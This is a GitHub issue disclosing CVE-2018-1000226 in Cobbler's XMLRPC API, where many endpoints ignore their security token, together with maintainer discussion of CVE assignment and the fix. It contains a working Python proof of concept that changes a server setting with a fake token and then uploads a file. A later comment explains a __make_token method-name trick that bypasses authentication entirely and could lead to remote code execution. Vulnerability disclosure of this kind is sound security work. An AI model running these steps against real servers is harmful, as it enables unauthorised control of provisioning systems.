Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Many XMLRPC API endpoints are not correctly validating security tokens [CVE-2018-1000226] #1916

Closed
movermeyer opened this issue Aug 2, 2018 · 12 comments
Labels
Bug Report Reporting a bug Priority Issues that will be worked on with higher priority. Security
Projects

Comments

@movermeyer
Copy link
Contributor

movermeyer commented Aug 2, 2018

Looking at Cobbler's XMLRPC API, there are many places where the user supplied security token is not being correctly validated, effectively resulting in authentication being bypassed.

Using some quick-and-dirty AST parse magic, I discovered that there are no fewer than 70 other endpoints that require an security token but don't actually use it!

This means that unauthenticated users are able to perform all sorts of actions that they should not be able to.

Example

For example, the upload_log_data endpoint allows users to upload files to the server. As this is a dangerous action, there is a flag in /etc/cobbler/settings that must be explicitly enabled before this functionality becomes available:

From /etc/cobbler/settings:

# NOTE: This does allow an xmlrpc call to send logs
# to this directory, without authentication, so enable only if you are
# ok with this limitation.
anamon_enabled: 0

However, authenticated users can also change this setting in a running server using the modify_setting endpoint in the XMLRPC API.

modify_setting(self, setting_name, value, token)

But the actual implementation of the endpoint never validates the value of the token parameter, so any value works:

# Python 2.7

import base64
from xmlrpclib import ServerProxy

cobbler_connection = ServerProxy("http://192.168.0.244/cobbler_api", allow_none=True)

name = "greeting.txt"
payload = b"Hello!"
data = base64.encodestring(payload)

# Try to upload logs with anamon_enabled = 0. Fails and returns False.
assert cobbler_connection.upload_log_data('sysname', name, len(payload), 0, data) == False

# Change the anamon_enabled setting, using a fake security token.
cobbler_connection.modify_setting('anamon_enabled', '1', 'bogus_token')

# Try again. This time it works.
assert cobbler_connection.upload_log_data('sysname', name, len(payload), 0, data) == True

So it doesn't matter whether the server operator is "ok with this limitation", since unauthenticated users can change the value at any time.

Conclusion

There are many other potentially harmful endpoints in the API, and many more creative ways to exploit them.

The Cobbler XMLRPC API needs to be carefully examined with security in mind to make sure that all of the API endpoints are validating their security tokens correctly.

In the meantime, consider using a firewall to restrict/disable access to the /cobbler_api endpoint.

See this post for more discussion.

@movermeyer
Copy link
Contributor Author

Perhaps releasing a version with the XMLRPC API disabled by default would be a good stop-gap solution.

@cedricbu
Copy link

cedricbu commented Aug 8, 2018

Hi!
Any news on the CVE assignment ? (which method did you use to apply ?)

@pedrohc
Copy link

pedrohc commented Aug 10, 2018

CVE-2018-10931 was assigned to this issue.

@movermeyer
Copy link
Contributor Author

@cedricbu, I tried to use https://iwantacve.org (The OSS CNA), but it seems they were too slow and @pedrohc managed to get one through Red Hat faster.

@pedrohc
Copy link

pedrohc commented Aug 15, 2018

@movermeyer Please let OSS CNA know that a CVE has been assigned so we can avoid any duplicates. Thanks.

@movermeyer
Copy link
Contributor Author

movermeyer commented Aug 15, 2018

Actually, it seems that the above CVE is not for the same problem. It is for the inadvertently exposed _* endpoints, and not the improperly authenticated endpoints.

Further, it only mentions Cobbler 2.6, but the problem affect many more versions than that.

The CVE's assignment submissions I made were not for the _* endpoints, but rather the two issues I raised in this issue and the other issue. You can track their progress here.

@movermeyer movermeyer changed the title Many XMLRPC API endpoints are not correctly validating security tokens Many XMLRPC API endpoints are not correctly validating security tokens [CVE-2018-1000226] Aug 21, 2018
@movermeyer
Copy link
Contributor Author

The CVE's have now been issued. I've updated the issue titles with the numbers.

@ngo
Copy link

ngo commented Mar 1, 2019

Just a heads-up, as this issue is public anyway. Prior to CVE-2018-10931 patch (commit b47081b) it was trivial to completely bypass auth via using the __make_token call. It was possible to use _CobblerXMLRPCInterface__make_token as a methodName in an xmlrpc call. __make_token just returns you a token for the user you specify, giving complete access to the API.
For old targets vulnerable to RCE via repo download this is a wonderful oportunity for unauth rce.

@watologo1
Copy link
Contributor

Just a heads-up, as this issue is public anyway. Prior to CVE-2018-10931 patch (commit b47081b) it was trivial to completely bypass auth via using the __make_token call. It was possible to use _CobblerXMLRPCInterface__make_token as a methodName in an xmlrpc call. __make_token just returns you a token for the user you specify, giving complete access to the API.
For old targets vulnerable to RCE via repo download this is a wonderful oportunity for unauth rce.

Thanks a lot! This heads up is very much appreciated!
Beside that I realized that remote (especially unauthenticated web interface) should get a security review, this is an (german saying directly translated, I guess it fits) amazing barn door that should get addressed. Will do...

@ngo
Copy link

ngo commented Mar 1, 2019

Pls note that this should already be fixed by the commit I mentioned that forbids calling all methods with names starting with underscore.

@cedricbu
Copy link

cedricbu commented Mar 1, 2019

yes, flaw CVE-2018-10931 let unauthenticated attackers get a token, or upload files anywhere (in the context of cobbler daemon, possibly constrained by protections such as SELinux or sandboxes).
See official description : https://nvd.nist.gov/vuln/detail/CVE-2018-10931

@SchoolGuy SchoolGuy added Bug Report Reporting a bug Priority Issues that will be worked on with higher priority. Security labels Jun 18, 2019
@SchoolGuy SchoolGuy added this to Inbox in Backlog Aug 15, 2019
@SchoolGuy SchoolGuy moved this from Inbox to Bug Reports in Backlog Oct 17, 2019
@SchoolGuy SchoolGuy moved this from Bug Reports to To do in Backlog Oct 24, 2019
@SchoolGuy
Copy link
Member

As per @ngo 's comment I will close this since it appears to be fixed as far as I understand. Please reopen if I am wrong.

Backlog automation moved this from To do to Done Dec 21, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Bug Report Reporting a bug Priority Issues that will be worked on with higher priority. Security
Projects
No open projects
Backlog
  
Done
Development

No branches or pull requests

6 participants